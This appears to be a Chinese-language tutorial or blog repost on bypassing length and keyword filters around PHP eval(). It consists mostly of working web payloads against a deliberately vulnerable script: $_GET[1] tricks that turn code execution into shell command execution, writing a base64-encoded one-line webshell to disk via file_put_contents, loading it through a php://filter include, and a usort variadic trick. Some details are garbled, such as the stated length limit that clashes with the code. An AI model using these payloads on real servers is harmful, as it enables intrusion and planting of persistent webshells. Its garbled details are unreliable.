一、EVAL长度限制突破技巧
1、简单绕过技巧:($_GET[1]
)
1.1首先我们先创建一个web.php文件
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
这里的意思是,对只要出现eval和assert这两个函数进行限制,对长度限制是要小于7
这里的param就是接收的参数,那么我们就可以在网页上进行绕过限制得到我们想要的页面,例如我们运行phpinfo的页面
192.168.171.136/web.php?param=phpinfo();
1.2利用$_GET[1]
拿到webshell
编写语句
web.php?param=echo $_GET[1]
;&1=id;,这里``就是将命令执行转换为了代码执行
注释:这里&后的1等于的是id
这里必须注意要在&前面添加分号,ascii必须要echo才能输出内容
2、文件包含利用
2.1利用$_GET[1]写入文件
注释:file_put_contents¶m=$_GET1
param传的参数是$_GET[1],$_GET[1]相当于写的是file_put_contents;1接收的参数是N,P,8,N是要写入的文件名,P是一句话木马的base64的编码也就是我们要写入文件里的具体参数,8是追加参数
转换成base64是因为有些字符不能追加,比如^,
执行后就可以看到Linux 文件目录下多了一个文件N里面也追加成功了内容
2.2文件包含方式执行文件
param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
include就是包含的意思,这里的文件包含就是把接收到所有文件当作是php文件来执行
2.3将页面执行出来的base64编码进行解码就是一个一句话木马
3、利用usort(...$_GET)技巧突破限制;
php、JS中可变长参数表示:...
3.1抓包
3.2将内容发送过去发现出现错误,这里是因为我是php7.3.4的版本,这个漏洞已经被修复了所以看不到效果,将版本更换为php5.6即可
版权归原作者 Hhmy 所有, 如有侵权,请联系我们删除。